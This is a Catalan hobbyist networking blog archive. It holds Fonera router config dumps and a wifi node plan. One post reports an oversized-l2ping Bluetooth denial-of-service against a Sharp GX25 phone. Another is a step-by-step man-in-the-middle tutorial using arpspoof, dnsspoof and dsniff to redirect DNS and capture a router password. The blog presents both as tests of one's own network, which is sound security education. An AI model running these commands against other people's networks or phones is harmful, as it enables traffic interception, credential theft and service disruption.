Archive for Xarxes

Fonera com a bridge.

He executat aquest script i he convertit la fonera en un pont entre la lan i la wlan.
Suposem que tenim access ssh
Pasos a seguir:

anem a /tmp i executem
wget http://fon.freddy.eu.org/fonera/bridge-private-wlan/N15bridge

li donem permisos d’execució amb
chmod +x N15bridge

i l’executem amb ./N15bridge..

vos agafarà per defecte una ip interna per dhcp, a mi m’ha pasat que com que la tenia manual es tallava la conexió ssh al canviar la ip, finalment pareix funcionar.. ara em falta conseguir algun altre dispositiu inalàmbric per a provar-ho..

Feu un comentari

Fitxers de configuració de la fonera.

Aci teniu varios fitxers de configuració interna de la fonera, els publique per si algú té interés en vore com funcionen algunes parts i no té ninguna a mà.

/etc/firewall.fon

# Firewall script, specific for OpenWrt: permits traffic from chilli clients to Internet restricts inter-interfaces traffic
. /etc/functions.sh
. /tmp/network-configconfig_load fon

WL=”$wifi_ifname”
WAN=”$wan_ifname”
LAN=”$lan_ifname”

iptables -N NET_ACCESS 2>&- >&-
iptables -F NET_ACCESS

# WAN_HOOK will contain rules to restrict traffic to the wan network
iptables -N WAN_HOOK 2>&- >&-

# ChilliSpot
iptables -A NET_ACCESS -p tcp –dport 3990 -j ACCEPT

# DNS is always allowed from the tunnel
iptables -A NET_ACCESS -p udp –dport 53 -j ACCEPT
iptables -A NET_ACCESS -p tcp –dport 53 -j ACCEPT

# Access control for the hotspot
config_get wan access hotspot_wan
enabled “$wan” 0 || iptables -A NET_ACCESS -j WAN_HOOK

config_get lan access hotspot_lan
if enabled “$lan” 0; then
iptables -t nat -A POSTROUTING -o “$LAN” -j MASQUERADE
else
iptables -A NET_ACCESS -o “$lan_ifname” -j DROP
fi

config_get wan access lan_wan
enabled “$wan” 1 || iptables -I FORWARD 1 -i “$LAN” -o “$WAN” -j WAN_HOOK

# allow regular wan traffic
[ -z "$WAN" ] || {
iptables -A NET_ACCESS -o “$WAN” -j ACCEPT
iptables -A NET_ACCESS -i “$WAN” -j ACCEPT
}

iptables -A NET_ACCESS -o “$LAN” -j ACCEPT
iptables -A NET_ACCESS -i “$LAN” -j ACCEPT

# drop everything that we haven’t explicitly allowed
iptables -A NET_ACCESS -j DROP

# — INPUT PART –
iptables -N INPUT_CFG 2>&- >&-
iptables -F INPUT_CFG 2>&- >&-
iptables -I INPUT 1 -i tun0 -p tcp –dport 80 -j DROP
iptables -I INPUT 2 -i “$LAN” -j INPUT_CFG
iptables -I INPUT 3 -i tun0 -j NET_ACCESS

# — FORWARD PART –
iptables -I forwarding_rule 1 -i “$LAN” -j INPUT_CFG
iptables -I forwarding_rule 2 -o “$LAN” -j INPUT_CFG
iptables -I forwarding_rule 3 -i tun0 -j NET_ACCESS
iptables -I forwarding_rule 4 -o tun0 -j NET_ACCESS

# Drop all unmanaged traffic from the public interface
iptables -t nat -A PREROUTING -i “$WL” -j DROP

ACTION=ifup INTERFACE=wan sh /etc/hotplug.d/iface/20-firewall

/etc/config/qos 

# QoS configuration for OpenWrt

# INTERFACES:

config interface hotspot
option classgroup       “Default”
option enabled          0
option upload           512
option download         512
option device           tun0

config interface wan
option classgroup  “Default”
option enabled      0
option upload       128
option download     1024

# RULES:
config classify
option target       “Bulk”
option ipp2p        “all”
config classify
option target       “Bulk”
option layer7       “edonkey”
config classify
option target       “Bulk”
option layer7       “bittorrent”
config classify
option target       “Priority”
option layer7       “irc”
config classify
option target       “Priority”
option ports        “22,53″
config classify
option target       “Normal”
option proto        “tcp”
option ports        “20,21,25,80,110,443,993,995″
config classify
option target       “Express”
option ports        “5190″
config default
option target       “Express”
option proto        “udp”
option pktsize      “-500″
config reclassify
option target       “Priority”
option proto        “icmp”
config default
option target       “Bulk”
option portrange    “1024-65535″
config reclassify
option target       “Priority”
option proto        “tcp”
option pktsize      “-128″
option mark         “!Bulk”
option tcpflags     “SYN”
config reclassify
option target       “Priority”
option proto        “tcp”
option pktsize      “-128″
option mark             “!Bulk”
option tcpflags     “ACK”

# Don’t change the stuff below unless you
# really know what it means :)

config classgroup “Default”
option classes      “Priority Express Normal Bulk”
option default      “Normal”

config class “Priority”
option packetsize  300
option packetdelay 10
option maxsize     400
option avgrate     40
option linksharing 75
config class “Priority_down”
option packetsize  1500
option avgrate     20

config class “Express”
option packetsize  1300
option packetdelay 15
option maxsize     800
option avgrate     30
option linksharing 80

config class “Normal”
option packetsize  1500
option packetdelay 150
option avgrate     20
option linksharing 30
config class “Normal_down”
option avgrate     30

config class “Bulk”
option linksharing 10
config class “Bulk_down”
option avgrate     15
option limitrate   85

/etc/config/fon

# Syntax:
#
# config


#       option   
#
# Network Interfaces: (config network
)
#   available sections: lan, wan, hotspot
#       available options:
#               – mode: operation mode (static, dhcp, pppoe, pptp)
#               (depending on mode):
#               – static: ipaddr, netmask, gateway
#               – dhcp: (optional) ipaddr
#               – pppoe: username, password
#               – pptp: username, password, server
#
# Wireless Settings: (config wifi
)
#       available sections: public, private
#       available options:
#               – essid
#               (private only)
#               – encryption: wpa, wpa2, mixed (optionally append /tkip, /aes or /tkip+aes)
#               – password

. /etc/functions.sh # this line always needs to be present

config network lan
option  mode    static
option ipaddr   ‘192.168.10.1′
option netmask  ‘255.255.255.0′
option dhcp     ‘0′

config network wan
option mode     ”
option ipaddr   ‘192.168.1.50′
option netmask  ‘255.255.255.0′
option gateway  ‘192.168.1.102′
option dns      ‘192.168.1.102′

config wifi public
option essid    ‘vicent’

config wifi private
option essid    ‘Hortanet’
option encryption       ‘open’
option  wpa_crypto      tkip+aes
option  password        $(get_serial)

config firewall access
option lan_wan  ‘1′
option hotspot_wan      ‘1′
option hotspot_lan      ‘1′

config wifi advanced
option bgmode   ‘mixed’
option channel  ‘02′

/etc/firewall.user 
#!/bin/sh
# Copyright (C) 2006 OpenWrt.org

. /tmp/network-config

WAN=”$wan_ifname”
LAN=”$lan_ifname”

iptables -F input_rule
iptables -F output_rule
iptables -F forwarding_rule
iptables -t nat -F prerouting_rule
iptables -t nat -F postrouting_rule

### BIG FAT DISCLAIMER
## The “-i $WAN” is used to match packets that come in via the $WAN interface.
## it WILL NOT MATCH packets sent from the $WAN ip address — you won’t be able
## to see the effects from within the LAN.

### Open port to WAN
## — This allows port 22 to be answered by (dropbear on) the router
# iptableSiIpTABLEs -t nat -A prerouting_rule -i $WAN -p tcp –dport 22 -j ACCEPT
# IPTables        -A input_rule      -i $WAN -p tcp –dport 22 -j ACCEPT
iptables        -A input_rule      -i $WAN -p tcp –dport 22 -j ACCEPT

iptables -t nat -A preouting_rule -i $WAN -p tcp –dport 22 -j ACCEPT
### Port forwarding
## — This forwards port 8080 on the WAN to port 80 on 192.168.1.2
# iptables -t nat -A prerouting_rule -i $WAN -p tcp –dport 8080 -j DNAT –to 192.168.1.2:80
# iptables        -A forwarding_rule -i $WAN -p tcp –dport 80 -d 192.168.1.2 -j ACCEPT

### DMZ
## — Connections to ports not handled above will be forwarded to 192.168.1.2
# iptables -t nat -A prerouting_rule -i $WAN -j DNAT –to 192.168.1.2
# iptables        -A forwarding_rule -i $WAN -d 192.168.1.2 -j ACCEPT

Crec que ja hi ha prou per hui ;)

Feu un comentari

Node a foios, hortanet 1 – Inicis

Ja tinc quasi tot el material necessari per al que serà el node 1 de l’hortanet, que serà situat a foios, l’horta nord, disposarà d’un servidor de xarxa fent de dhcp, proxy catxé amb squid, catxé de dns amb bind i potser alguna cosa més en un futur com un apache per a servidor web o jabberd per a servidor de missatgeria.
Com que no hi ha duros per a un access point comercial típic, m’he “aprofitat” un poquet i he hackejat la fonera (el router social de fon) per a transformar-lo en un ap perfecte per al ús que va a tindre..
La finalitat és la mateixa, montar una xarxa inal·lambrica sols que jo al contrari que fon, no faig negoci ;)
L’antena he decidit fabricar-la jo mateix, él model triat es el que teniu a la foto, la guiaones és un model d’unes característiques exel·lents, potser un poc difícil de fer per la exactitud en la que s’ha de fer (un lleuger error i el rang de frequencies que soportaria quedaria desviat). Normalment es treuen 12db de guany. L’unica pega que li veig és que el tub l’alumini ha de ser d’unes dimensions concretes i no se si el trobaré facilment.. ademés que és un material car.
El esquema serà el següent, el servidor dins de casa, (acabaré per adaptar-lo a un rack de 19″) un cable ethernet anirà fins al màstil de l’antena de televisió, que té un visió sense obstacles a vinalesa i a bonrepòs, (de moment, perque al ritme que duen de especulació mal anem..). En el màstil anira penjada la caixa estanca que veieu a la foto i a l’interior el fon2100a amb l’antena conectada al conector sma que du, el cable encara no se quin triar, serà menys d’un metre, així que estic per ficarli un r58 (si no m’equivoque és el coaxial de 50 ohms) el r59 he vist que és el coaxial de 70 ohms, el cable de tele de tota la vida, i eixe pareix tindre massa pèrdues.. pero estime que en el r58 i menys d’un metre no passaran de 1,5db… :)


Hardware hortanet 1
Porquet a poquet s’anirà donant cobertura a Foios, Meliana, Bonrepòs.. tot depén de si hi ha gent que voluntariament monta els nodes.
Potser vos sona a xino tot açò dels db i els ohms, si vos intereseu en el wifi acabareu per entendreu ;)
Aniré informat segons vaja avançant el projecte..

Feu un comentari

Arbre genealògic de sistemes unix

Arbre Genealògic

He vist un enllaç a una pàgina on està l’arbre genealògic dels sistemes unix, perfectament detallat, una meravella!. Això si, són 4 metres de llarg.
Hi ha versions per a plotter (per si voleu imprimir-ho tipus poster)

o també per a din a4, que són 21 pàgines.

Vos deixe els links al pdf de din A4 llest per a imprimir:

O si ho preferiu podeu visitar la web original: levenez.com/unix/

Feu un comentari

Traducció del bug del Gx25

Acabe de escriure la traducció al castellà de l’entrada que vaig escriure quan la fallada del sharp gx25.
Per si algú no ho entén..

Traducción al castellano del documento escrito sobre el fallo de softreset de un sharp gx 25

Per a descarregar:
Obrir en Html
Proximament disponible en Pdf
Salutacions / Saludos ;D

Feu un comentari

Nova web de l’Hortanet: www.hortanet.net

http://www.hortanet.net és la nova direcció de la web oficial de l’hortanet lan party. L’he feta amb drupal, un exel·lent gestor de contingut lliure i gratuït, espere que tots aquells que asistireu a la primera edició vos registreu ja que s’inclouen fòrums per a comentar tot allò que es vulga relacionat amb la primera edició de l’hortanet, i la pròxima edició.

Des de l’organització volem saber que opina la gent, i quina forma millor de ferho que creant una web dinàmica on tothom té veu pròpia.

Encara està en versió beta i el disseny l’intentaré millorar (ja sé que no és punt fort de la web ;D )

Vos agrada el disseny o que?

Feu un comentari

Bug Bluetooth D.O.S. en un mòbil Sharp GX25

Després de que ahir em publicaren la traducció al castellà de jugant amb bluetooth II a la web de Bluehack, m’he animat una altra vegada amb el Bluetooth, després de passar-me el matí llegint sobre com les coses han avançat en pocs mesos (que han avançat bastant) en una casualitat de la vida, he descobert una vulnerabilitat Dos (de denegació de servei) del mòbil Sharp GX25 al ser-li enviat un paquet de ping mooolt gran per Bluetooth. ;)

Més concretament, el atac es paregut al famós “ping de la mort” aquella vulnerabilitat que tenien els molts sistemes antics en la qual si s’enviava un paquet “echo” molt gran podia provocar la penjada del sistema, això fa molt de temps que està resolt.. però qui ho anava a pensar, la història es repeteix..

Estava navegant en una web sobre bluetooth quan he vist un exemple on apareixia l2ping, al vore que era una ferramenta per a fer pings, he pensat que podria comprovar si el ping pujava conforme s’allunyava el telèfon… he fet alguns pings perà he volgut provar si el telèfon es tornaria lent al fer-li pings pesats ja que un telèfon com aquest com podeu comprovar no té una gran capacitat i normalment tenen característiques molt limitades..

Primer he fet un hcitool scan per a veure la adreça hexadecimal del telèfon..

vicent@ferrervicent:~$ hcitool scan

Scanning …

08:00:1F:85:4F:A1 GX25.D

Acte seguit he dirigit el l2ping cap a la adreça del telèfon:

vicent@ferrervicent:~$ sudo l2ping 08:00:1F:85:4F:A1

Ping: 08:00:1F:85:4F:A1 from 00:70:5A:46:21:67 (data size 44) …

0 bytes from 08:00:1F:85:4F:A1 id 0 time 128.62ms

0 bytes from 08:00:1F:85:4F:A1 id 1 time 51.11ms

0 bytes from 08:00:1F:85:4F:A1 id 2 time 49.90ms

0 bytes from 08:00:1F:85:4F:A1 id 3 time 76.45ms

0 bytes from 08:00:1F:85:4F:A1 id 4 time 78.75ms

0 bytes from 08:00:1F:85:4F:A1 id 5 time 48.18ms

0 bytes from 08:00:1F:85:4F:A1 id 6 time 56.75ms

0 bytes from 08:00:1F:85:4F:A1 id 7 time 56.02ms

0 bytes from 08:00:1F:85:4F:A1 id 8 time 36.44ms

0 bytes from 08:00:1F:85:4F:A1 id 9 time 52.51ms
Send failed: Connection reset by peer

Això era un ping normal, el telèfon seguia en vida… el que no entenc és perque sempre al cap d’uns segons talla la conexió.. és una cosa que ja passava quan vaig escriure Jugant amb bluetooth 1 i 2..

He mirat com gastar l2ping:

vicent@ferrervicent:~$ sudo l2ping

l2ping – L2CAP ping

Usage:
l2ping [-i device] [-s size] [-c count] [-t timeout] [-f]
<bdaddr>

Aleshores?, que pasaria si fem un:

vicent@ferrervicent:~$ sudo l2ping -s 50000 08:00:1F:85:4F:A1

Ping: 08:00:1F:85:4F:A1 from 00:70:5A:46:21:67 (data size 50000) …

no response from 08:00:1F:85:4F:A1: id 0

He ficat 50000 per ficar un valor arreu, tampoc sabia en quines unitats era ni res, aixina que es pot dir que han sigut bastants coincidències juntes… (despres he sabut que 50000 era una animalada…) :P

Pero vos preguntareu que li passa al telèfon al fer el ping ;)

Exactament això:

Com podeu vore al video, el mòbil es queda inactiu i no respon durant uns segons, parant tota operació que s’estiguera fent en el moment, (una cridada per exemple).. el mòbil torna a funcionar en uns segons…

Hi ha que tindre en compte que 50000 bits per a un ping… és bastant, el ping típic en l2ping és de 44.. :o

Per a fer una prova he provat a fer un ping normal (per xarxa ethernet) cap al Router amb el mateix tamany.. el cas es que el router no s’ha immutat però no m’ha contestat el ping.. això es el que hauria de fer el telèfon per a protegir-se… no desconnectar-se (no pareix molt bona tècnica)… ;)

Altre detall, es pot observar que conforme es va pujant el tamany del paquet de ping la contestació és mes llarga..

44 > de 47 a 96 ms (és el ping estàndard en l2ping)

500 > 76ms

1000 > de 139 a 169 ms

1500 > de 195 a 230 ms

1850 > de 231 a 246 ms

També he fet una prova de anar allunyant-se però la diferència és mínima i no pot ser mesurada amb precisió ja que els mateixos pings tenen molta diferència entre si.

No descarte fer una ampliació i millora de l’article en cas de que a la gent li interese el tema.

De moment soles ho he probat en aquest mòbil, algú s’anima a provar-ho en el seu? :D


EDITE 14/9/06:

Ahir per la nit vaig trobar que el bug SI estava documentat.. no per a aquest mòbil en concret sino que éra una clase d’atac a dispositius blutooth que ja estava documentada, l’atac s’anomena bluesmack. I es un bug del dispositiu en questió, no del protocol bluetooth.

… i jo que hem creia que havia descobert un bug nou… :( pero realment si, perque ningu avans havia probat aquest bug contra un sharp gx25 [si algu l'ha trobat, no l'ha ficat en internet].. aixina que al menys l’he descobert contra el sharp gx25 :D

Edite20/9/06:

Article enllaçat a tuxmobil.org.

Feu un comentari

Atac arp & spoof dns.

Anem a fer un atac mitjançant la tècnica coneguda com “Man in the Middle” o home en el mig. Potser per internet hi ha molts manuals sobre açò, pero jo vaig a fer el meu basant-se en la meua experiència, i animant a tot el que ho probe a comentar la seua.
L’objectiu d’aquest atac és demostrar que una xarxa local típica no és segura i que amb poques ferramentes i poc temps d’aprenentatge es possible extraure dades que viatgen per la xarxa en protocols no encriptats, ademés que aquest tipus d’atac és bastant dificil de detectar i parar si no es té coneiximent adecuat.

Aquest article està destinat a aquells usuaris (locals) i administradors que vulguen probar la seguretat de la seua pròpia xarxa i/o que tinguen intenció de desenvolupar tècniques per a estar preparats contra aquest tipus d’atacs, en ningun moment incite a provar-lo fora de la vostra xarxa, ja que podeu donar un mal de cap a mes d’un administrador i ademés no és molt étic espiar trafic sense permis.. i supose que serà il·legal ,així que, avisats esteu.

Com he comentat, la técnica utilitzada sera la de man in the middle. Aquesta te un funcionament bastant simple, hem de tindre primer una base de teoria de xarxes per a entendre aquest conceptes, així que abans de llegir aquest article, convindria repasar:

Una vegada dominats mes o menys aquestos temes (no fa falta saberho de memòria, simplement saber que és cada cosa i un poquet com funciona).

Segurament és te el mite de que una xarxa amb switchos és segura.Val, mes segura que amb hubs és, però pregunte: Absolutament segura?
Per a qui no ho sapiga, un switch (conmutador) té la diferència fonamental respecte a un hub de que actua en diferents capes de xarxa.. Els elements de una xarxa s’organitzen en capes, així, la capa 1 és la física (cables, conectors) la 2 la d’enllaç, la 3 la de xarxa.. etc etc..
Un hub actua com a repetidor de senyal,(és un enllaç físic) es a dir, envia les dades a TOTS els cables que te conectats, pero sols l’agafa l’ordinador al que van dirigides les dades… Un Switch en canvi fa de conmmutador, actua com si fora un entramat d’interruptors i envia cada paquet sols per el cable corresponent a la direcció mac de desti.

Fins ahi la teoria tot bé… Pero que passa si fem creure a un ordinador que nosaltres som el router, i fem creure al router que nosaltres som el ordinador victima?

Ahi es on entra el nostre paquet de ferramentes DSNIFF. En aquest cas he fet totes les probes sota una Ubuntu Linux dapper com a equip atacant, un Window$ 2000 sp4 com a equip victima, i un Linksys BEFSR41 com a router.
D’ara en endavant seràn, atacant, victima i router.

  • Atacant serà: 192.168.1.100
  • Victima serà: 192.168.1.101
  • Router serà: 192.168.1.1

En la primera part de l’atac anem a fer que el trafic de xarxa es desvie per el ordinador atacat i que el ordinador victima no es done compte de la situació. Partim del cas de que el ordinador victima està tranquilament navegant per internet.. pertant hem de preparar-ho tot per a que no note ninguna caiguda en el servei o si ho nota que siga mínima.
Ens fa falta: que el “atacant” done internet a “victima”, pertant el “atacant” farà de porta d’enllaç de la “victima”, encara que “victima” es creurà que seguix tinguent al router com a porta d’enllaç.

El que jo he fet ha sigut fer un redireccionament de ip, conegut com a ip fowarding, aixi a primera vista sona com molta cosa, pero realment és: Compartir el internet.

En ubuntu linux es fa de la seguent forma:

vicent@ferrervicent:/$ sudo echo "1" > /proc/sys/net/ipv4/ip_forward

si estiguerem en protocol ipv6 seria canviar ipv4 per ipv6, si no sas de que va, dixaho com està. Per a desactivar-lo canvia el “1″ per un “0″.

En aquest moment atacant està compartint conexió a internet. Hem de pensar bé la situació i tindre en compte moltes coses com per exemple que cara el proxy de xarxa o porta d’accés real qui estarà entrant a internet serà atacant, pero realment serà victima a través de atacant.. es soles una cosa a tindre en compte.

Val, ja estém compartint internet fins ara realment no hem fet res.. a continuació ens disposarem a començar l’atac a la taula arp de la victima. Recorde per als bagos, que convé saber algo de teoria de arp primer.

Farem creure a l’equip victima que la direcció mac del equip atacant correspon a la ip del router. i al router que la ip del victima correspon a la mac del atacant.

vicent@ferrervicent:/$ sudo arpspoof -i eth0 -t 192.168.1.101 192.168.1.1

En la forma:
arpspoof -i (interfície de xarxa) -t (ip_victima) (ip_router)
En aquest moment arpspoof començarà a enviar paquets malignes a la xarxa per a corrompre el arp i la consola donara algo paregut a d’açò:

0:14:5a:xx:xx:6 0:xx:xx:11:xx:69 0x06 42: arp ..etc..
0:14:5a:xx:xx:6 0:xx:xx:11:xx:69 0x06 42: arp ..etc..
etc...

A l’equip victima no te perque haver ningun problema, creurà que atacant es el router.. pero ho creurà per la direcció mac, la direcció ip de la porta de enllaç continuarà sent la del router..

Una vegada aci ja podem dir que hem conclós el atac amb éxit, estem fent d’intermediari entre router i victima i per tant tot el trafic passa per nosaltres.. pero encara no tenim resultats.. faré una xicoteta mostra del que es pot fer, pero millor si gasteu la imaginació i inventeu les situacions possibles..

Podem enverinar les solicituds dns: amb dnsspoof podem redirigir noms de domini que busque l’ordinador victima fins a les ip que nosaltres vulguem.. jo per exemple he fet una copia de google en un servidor apache local, he creat el arxiu noms.hosts que conté:

192.168.1.100 *.google.com
192.168.1.100 google.com
192.168.1.100 *.google.es

És a dir, tot els subdominis de google.com/.es aniran redirigits a 192.168.1.100, on he instalat un apache i he fet una copia del html de google pero amb les imatges canviades…
I al executar dnsspoof:

root@ferrervicent:/home/vicent# dnsspoof -i eth0 -f noms.hosts

En quant la petició dns desde l’equip victima es realitze, en la nostra consola veurem coses com les seguents, ahi demana els dns a un servidor dns de internet i posteriorment validarà amb el arxiu (noms.hosts) i enviarà allò que convinga..

dnsspoof: listening on eth0 [udp dst port 53 and not src 192.168.1.100]
192.168.1.101.1306 > 62.42.230.135.53: 60923+ A? client.voipbuster.com
192.168.1.101.1308 > 62.42.230.135.53: 15610+ A? www.google.com
192.168.1.101.1311 > 62.42.230.135.53: 56060+ A? minijuegos.com
192.168.1.101.1321 > 62.42.230.135.53: 14079+ A? connectiontcp1.voipbuster.com

El resultat que veu el equip victima és aquest:

google

Com podem observar l’usuari de equip victima no notarà res estrany que no siga la modificació de les imatges que corresponen al nom de google.. bé i alguna cosa més.
Val, per a comprovar si ho heu entés, que passaria si ficarem en el arxiu noms.hosts el seguent:

192.168.1.100 *.*

:D

Hem de tindre en compte també que per a que aquest enverinament de la solicitud dns siga satisfactori el equip victima ha de tindre els servidors dns’s com a automàtics o els mateixos que la porta d’enllaç, en el cas de que la xarxa tinguera un servidor dns dedicat diferent de la porta d’enllaç, es podria fer altre enverinament de taula arp pero en la segona ip posariem la ip del servidor dns… bé tot açò és ampliació..

Pero deixem-se de tonteries com la del google i anem a coses mes series.. Que podriem fer?.. podem possar un sniffer i fer captura de tràfic… en poques paraules: sabrem tot lo que la màquina victima envia i rep de internet sempre que no siga tràfic encriptat (protocol https o ssh entre altres)
Pertant desactivarem el dnsspoof de moment.
Per a que siga més gràfic fare un sniff de tràfic amb Ethereal encara que amb tcpdump es pot fer igualment.. pero ho he fet amb Ethereal perque és gràfic i de segur que el trobeu més fácil d’entendre.

Ethereal

Com podeu observar tenim ací mooolt de trafic de xarxa (he capturat uns 3mb en pocs segons) , si l’analitzem veurem bastants coses, però això ja ho deixe per a que ho comproveu vosaltres mateixos.

De moment anem a capturar una contrasenya facileta va.. conectarem el dsniff.

Comprovat que la contrasenya de autentificació de el navegador cau (la tipica contrasenya de carpetes privades del apache..) en aquest cas és la de autentificació del router.

accedint al router

Supose que seguiré algun dia amb coses un poquet mes avançades de Dsniff (i més interesants).. que vos pareix capturar totes les contrasenyes de protocols no encriptats de forma fácil o simular una pàgina segura creant un certificat de xifrat pero en realitat agafar tot el tràfic? tècnica pareguda a fer un “monkey in the middle” i fer de repetidor de conexions ssh… i Dsniff te ferramentes per a tot això..

De moment sigau bons i no gasteu aquestos coneiximents per a fer mal eh? segur que algú ja estarà pensant en aplicacions “no étiques” de dsniff…

Salut i linux.

Feu un comentari